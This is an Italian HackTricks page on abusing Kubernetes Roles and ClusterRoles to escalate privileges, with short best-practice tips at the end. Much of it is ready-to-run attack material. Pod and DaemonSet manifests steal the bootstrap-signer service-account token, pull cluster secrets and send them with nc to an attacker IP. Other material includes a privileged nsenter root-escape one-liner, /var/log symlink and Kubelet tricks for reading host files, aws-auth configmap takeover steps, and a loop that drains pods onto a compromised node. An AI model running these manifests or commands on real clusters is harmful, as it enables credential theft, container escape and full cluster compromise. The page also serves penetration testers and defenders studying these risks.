Abusing Roles/ClusterRoles in Kubernetes

Impara l'hacking su AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Qui puoi trovare alcune configurazioni di Ruoli e ClusterRoles potenzialmente pericolose. Ricorda che puoi ottenere tutte le risorse supportate con kubectl api-resources

Escalation dei Privilegi

Definita come l'arte di ottenere accesso a un diverso principale all'interno del cluster con privilegi diversi (all'interno del cluster Kubernetes o verso cloud esterni) rispetto a quelli che si possiedono già, in Kubernetes ci sono fondamentalmente 4 tecniche principali per escalare i privilegi:

  • Essere in grado di impersonare altri utenti/gruppi/SA con privilegi migliori all'interno del cluster Kubernetes o verso cloud esterni

  • Essere in grado di creare/patch/eseguire pod dove è possibile trovare o collegare SA con privilegi migliori all'interno del cluster Kubernetes o verso cloud esterni

  • Essere in grado di leggere segreti poiché i token SA sono memorizzati come segreti

  • Essere in grado di scappare al nodo da un container, dove è possibile rubare tutti i segreti dei container in esecuzione nel nodo, le credenziali del nodo e i permessi del nodo all'interno del cloud in cui è in esecuzione (se presenti)

  • Una quinta tecnica che merita una menzione è la capacità di eseguire il port-forward in un pod, poiché potresti essere in grado di accedere a risorse interessanti all'interno di quel pod.

Accesso a Qualsiasi Risorsa o Verbo (Wildcard)

Il carattere jolly (*) concede il permesso su qualsiasi risorsa con qualsiasi verbo. Viene utilizzato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di qualsiasi namespace nel cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Accesso a Qualsiasi Risorsa con un Verbo Specifico

In RBAC, alcune autorizzazioni presentano rischi significativi:

  1. create: Concede la capacità di creare qualsiasi risorsa del cluster, rischiando l'escalation dei privilegi.

  2. list: Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.

  3. get: Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Creazione del Pod - Rubare il Token

Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato al pod e rubare il token per impersonare il Service Account. In questo modo, l'attaccante potrebbe efficacemente ottenere privilegi elevati.

Esempio di un pod che ruberà il token del service account bootstrap-signer e lo invierà all'attaccante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Creazione e Fuga del Pod

Quanto segue indica tutti i privilegi che un container può avere:

  • Accesso privilegiato (disabilitando protezioni e impostando capacità)

  • Disabilitare i namespace hostIPC e hostPid che possono aiutare ad escalare i privilegi

  • Disabilitare il namespace hostNetwork, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti

  • Montare / degli host all'interno del container

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crea il pod con:

kubectl --token $token create -f mount_root.yaml

Una riga da questo tweet e con alcune aggiunte:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Ora che puoi sfuggire al controllo del nodo, controlla le tecniche di post-sfruttamento in:

Stealth

Probabilmente vuoi essere più stealth, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel modello precedente:

  • Privileged + hostPID

  • Solo privilegiato

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Puoi trovare esempi su come creare/abusare delle configurazioni dei pod privilegiati precedenti in https://github.com/BishopFox/badPods

Creazione del Pod - Passaggio al cloud

Se puoi creare un pod (e facoltativamente un account di servizio) potresti essere in grado di ottenere privilegi nell'ambiente cloud assegnando ruoli cloud a un pod o a un account di servizio e quindi accedendovi. Inoltre, se puoi creare un pod con lo spazio dei nomi della rete host puoi rubare il ruolo IAM dell'istanza del nodo.

Per ulteriori informazioni controlla:

pagePod Escape Privileges

Creare/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs

È possibile abusare di questi permessi per creare un nuovo pod e ottenere privilegi come nell'esempio precedente.

Il seguente yaml crea un daemonset ed esfila il token dell'account di servizio all'interno del pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Esecuzione dei Pods

pods/exec è una risorsa in Kubernetes utilizzata per eseguire comandi in una shell all'interno di un pod. Ciò consente di eseguire comandi all'interno dei contenitori o ottenere una shell all'interno.

Pertanto, è possibile entrare all'interno di un pod e rubare il token dell'account di servizio (SA), o accedere a un pod privilegiato, scappare al nodo e rubare tutti i token dei pods nel nodo e (ab)usare il nodo:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Questa autorizzazione consente di inoltrare una porta locale a una porta nel pod specificato. Questo è pensato per consentire di eseguire il debug delle applicazioni in esecuzione all'interno di un pod in modo semplice, ma un attaccante potrebbe abusarne per accedere ad applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:

kubectl port-forward pod/mypod 5000:5000

Fuga da Hosts Writable /var/log/

Come indicato in questa ricerca, se è possibile accedere o creare un pod con il directory /var/log/ degli host montato su di esso, è possibile fuggire dal container. Questo è fondamentalmente perché quando il Kube-API cerca di ottenere i log di un container (usando kubectl logs <pod>), richiede il file 0.log del pod utilizzando il percorso /logs/ del servizio Kubelet. Il servizio Kubelet espone il percorso /logs/ che essenzialmente espone il filesystem /var/log del container.

Pertanto, un attaccante con accesso in scrittura alla cartella /var/log/ del container potrebbe abusare di questi comportamenti in 2 modi:

  • Modificando il file 0.log del suo container (di solito situato in /var/logs/pods/namespace_pod_uid/container/0.log) per essere un symlink che punta a /etc/shadow ad esempio. Quindi, sarà possibile esfiltrare il file shadow degli host facendo:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Se l'attaccante controlla un qualsiasi principale con i permessi di lettura di nodes/log, può semplicemente creare un symlink in /host-mounted/var/log/sym a / e quando accede a https://<gateway>:10250/logs/sym/ elencherà il filesystem root degli host (cambiando il symlink può ottenere accesso ai file).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratorio e uno sfruttamento automatizzato possono essere trovati in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Eludere la protezione di sola lettura

Se sei abbastanza fortunato e la capacità altamente privilegiata CAP_SYS_ADMIN è disponibile, puoi semplicemente rimonare la cartella come rw:

mount -o rw,remount /hostlogs/

Ignorare la protezione hostPath readOnly

Come indicato in questa ricerca è possibile ignorare la protezione:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Il che doveva impedire fughe come le precedenti, invece di utilizzare un mount hostPath, utilizza un PersistentVolume e un PersistentVolumeClaim per montare una cartella degli host nel container con accesso in scrittura:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonare account privilegiati

Con un privilegio di impersonificazione utente, un attaccante potrebbe impersonare un account privilegiato.

Basta utilizzare il parametro --as=<username> nel comando kubectl per impersonare un utente, o --as-group=<group> per impersonare un gruppo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

O utilizza il REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Elencazione dei Segreti

Il permesso per elencazione dei segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti accedendo al punto finale dell'API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lettura di un segreto - forzatura degli ID dei token

Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del più ampio privilegio di elencare i segreti, ci sono comunque vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ognuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo determinati caratteri) secondo il codice sorgente.

Il token è generato da un insieme limitato di 27 caratteri (bcdfghjklmnpqrstvwxz2456789), anziché dall'intero intervallo alfanumerico. Questa limitazione riduce il totale delle possibili combinazioni a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe teoricamente eseguire un attacco di forza bruta per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili.

Richieste di firma del certificato

Se hai i verbi create nella risorsa certificatesigningrequests (o almeno in certificatesigningrequests/nodeClient). Puoi creare un nuovo CeSR di un nuovo nodo.

Secondo la documentazione è possibile approvare automaticamente queste richieste, quindi in quel caso non hai bisogno di permessi aggiuntivi. In caso contrario, dovresti essere in grado di approvare la richiesta, il che significa aggiornare in certificatesigningrequests/approval e approve in signers con il nome della risorsa <signerNameDomain>/<signerNamePath> o <signerNameDomain>/*

Un esempio di un ruolo con tutti i permessi richiesti è:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Quindi, con il nuovo CSR del nodo approvato, puoi abusare dei permessi speciali dei nodi per rubare segreti e escalare privilegi.

In questo post e questo la configurazione del Bootstrap TLS di GKE K8s è configurata con firma automatica ed è abusata per generare le credenziali di un nuovo Nodo K8s e poi abusarle per escalare i privilegi rubando segreti. Se hai i privilegi menzionati potresti fare la stessa cosa. Nota che il primo esempio aggira l'errore che impedisce a un nuovo nodo di accedere ai segreti all'interno dei contenitori perché un nodo può accedere solo ai segreti dei contenitori montati su di esso.

Il modo per aggirare ciò è semplicemente creare credenziali del nodo per il nome del nodo in cui è montato il contenitore con i segreti interessanti (ma controlla come farlo nel primo post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

Configmaps aws-auth di AWS EKS

I principali che possono modificare i configmaps nello spazio dei nomi kube-system su cluster EKS (necessario essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il configmap aws-auth. I verbi necessari sono update e patch, o create se il configmap non è stato creato:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Puoi utilizzare aws-auth per persistenza dando accesso agli utenti da altri account.

Tuttavia, aws --profile other_account eks update-kubeconfig --name <cluster-name> non funziona da un account diverso. Ma in realtà aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funziona se si inserisce l'ARN del cluster invece del solo nome. Per far funzionare kubectl, assicurati semplicemente di configurare il kubeconfig della vittima e negli argomenti exec di aws aggiungi --profile other_account_role in modo che kubectl utilizzi il profilo dell'account degli altri per ottenere il token e contattare AWS.

Scalare in GKE

Ci sono 2 modi per assegnare permessi K8s ai principali GCP. In ogni caso, il principale ha bisogno anche dell'autorizzazione container.clusters.get per poter raccogliere le credenziali per accedere al cluster, oppure dovrai generare il tuo file di configurazione kubectl (seguire il link successivo).

Quando si parla con il punto finale dell'API K8s, verrà inviato il token di autenticazione GCP. Quindi, GCP, tramite il punto finale dell'API K8s, verificherà prima se il principale (per email) ha accesso all'interno del cluster, quindi verificherà se ha accesso tramite GCP IAM. Se uno qualsiasi di questi è vero, verrà risposto. Se no, verrà fornito un errore suggerendo di dare autorizzazioni tramite GCP IAM.

Quindi, il primo metodo consiste nell'utilizzare GCP IAM, i permessi K8s hanno i loro equivalenti permessi GCP IAM, e se il principale li ha, potrà utilizzarli.

pageGCP - Container Privesc

Il secondo metodo consiste nell'assegnare permessi K8s all'interno del cluster identificando l'utente tramite la sua email (incluse gli account di servizio GCP).

Creare token di serviceaccounts

I principali che possono creare richieste di token (serviceaccounts/token) Quando si parla con il punto finale dell'API K8s SA (informazioni da qui).

ephemeralcontainers

I principali che possono aggiornare o patch pods/ephemeralcontainers possono ottenere esecuzione di codice su altri pod, e potenzialmente uscire sul loro nodo aggiungendo un contenitore effimero con un securityContext privilegiato

ValidatingWebhookConfigurations o MutatingWebhookConfigurations

I principali con uno qualsiasi dei verbi create, update o patch su validatingwebhookconfigurations o mutatingwebhookconfigurations potrebbero essere in grado di creare uno di tali webhookconfigurations per poter scalare i privilegi.

Per un esempio di mutatingwebhookconfigurations controlla questa sezione di questo post.

Scalare

Come puoi leggere nella sezione successiva: Prevenzione dell'escalation privilegiata integrata, un principale non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. Tranne se ha il verbo escalate su roles o clusterroles. Quindi può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.

Proxy dei nodi

I principali con accesso alla sotto risorsa nodes/proxy possono eseguire codice sui pod tramite l'API Kubelet (secondo questo). Ulteriori informazioni sull'autenticazione di Kubelet in questa pagina:

pageKubelet Authentication & Authorization

Hai un esempio su come ottenere RCE parlando autorizzato a un'API Kubelet qui.

Eliminare pod + nodi non schedulabili

I principali che possono eliminare pod (verbo delete sulla risorsa pods), o espellere pod (verbo create sulla risorsa pods/eviction), o cambiare lo stato del pod (accesso a pods/status) e possono rendere non schedulabili altri nodi (accesso a nodes/status) o eliminare nodi (verbo delete sulla risorsa nodes) e hanno il controllo su un pod, potrebbero rubare pod da altri nodi in modo che vengano eseguiti nel nodo compromesso e l'attaccante possa rubare i token da quei pod.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Stato dei servizi (CVE-2020-8554)

I principali che possono modificare services/status possono impostare il campo status.loadBalancer.ingress.ip per sfruttare il CVE-2020-8554 non corretto e lanciare attacchi MiTM contro il cluster. La maggior parte delle mitigazioni per il CVE-2020-8554 impediscono solo ai servizi ExternalIP (secondo questo).

Stato dei nodi e dei pod

I principali con permessi di update o patch su nodes/status o pods/status, potrebbero modificare le etichette per influenzare i vincoli di pianificazione imposti.

Prevenzione dell'Escalation dei Privilegi Incorporata

Kubernetes ha un meccanismo incorporato per prevenire l'escalation dei privilegi.

Questo sistema garantisce che gli utenti non possano elevare i propri privilegi modificando ruoli o associazioni di ruoli. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.

La regola stabilisce che un utente può solo creare o aggiornare un ruolo se possiede tutti i permessi che il ruolo comprende. Inoltre, il campo dei permessi esistenti dell'utente deve allinearsi con quello del ruolo che stanno cercando di creare o modificare: o a livello di cluster per ClusterRoles o confinato allo stesso namespace (o a livello di cluster) per Roles.

C'è un'eccezione alla regola precedente. Se un principale ha il verbo escalate su roles o clusterroles può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi necessari.

Ottenere & Modificare RoleBindings/ClusterRoleBindings

Apparentemente questa tecnica funzionava in precedenza, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li possiedi già.

Il privilegio di creare Rolebindings consente a un utente di associare ruoli a un service account. Questo privilegio potenzialmente può portare all'escalation dei privilegi perché consente all'utente di associare privilegi di amministratore a un service account compromesso.

Altri Attacchi

App proxy sidecar

Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.

Creare un'app proxy sidecar

Crea il tuo file .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Modifica il tuo file .yaml e aggiungi le righe non commentate:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Visualizza i log del proxy:

kubectl logs app -C proxy

Ulteriori informazioni su: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Controller di ammissione dannoso

Un controller di ammissione intercetta le richieste al server API di Kubernetes prima della persistenza dell'oggetto, ma dopo che la richiesta è stata autenticata e autorizzata.

Se un attaccante riesce in qualche modo a iniettare un Controller di Ammissione di Mutazione, sarà in grado di modificare le richieste già autenticate. Essendo in grado di potenzialmente ottenere privilegi elevati e più comunemente persistere nel cluster.

Esempio da https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifica lo stato per vedere se è pronto:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Successivamente, distribuire un nuovo pod:

kubectl run nginx --image nginx
kubectl get po -w

Quando si visualizza l'errore ErrImagePull, controlla il nome dell'immagine con uno dei seguenti comandi:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine nginx ma l'immagine eseguita alla fine è rewanthtammana/malicious-image. Cosa è appena successo!!?

Aspetti Tecnici

Lo script ./deploy.sh istituisce un admission controller webhook di mutazione, che modifica le richieste all'API di Kubernetes come specificato nelle sue linee di configurazione, influenzando i risultati osservati:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Migliori pratiche

Disabilitare il montaggio automatico dei token degli account di servizio

  • Pod e Account di servizio: Per impostazione predefinita, i pod montano un token dell'account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di montaggio automatico.

  • Come applicare: Impostare automountServiceAccountToken: false nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.

Assegnazione utente restrittiva in RoleBindings/ClusterRoleBindings

  • Inclusione selettiva: Assicurarsi che siano inclusi solo gli utenti necessari in RoleBindings o ClusterRoleBindings. Effettuare regolarmente audit e rimuovere utenti non pertinenti per mantenere una sicurezza rigorosa.

Ruoli specifici del namespace rispetto a ruoli a livello di cluster

  • Ruoli vs. ClusterRoles: Preferire l'uso di Ruoli e RoleBindings per le autorizzazioni specifiche del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più preciso e limita la portata delle autorizzazioni.

Utilizzare strumenti automatizzati

Riferimenti

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated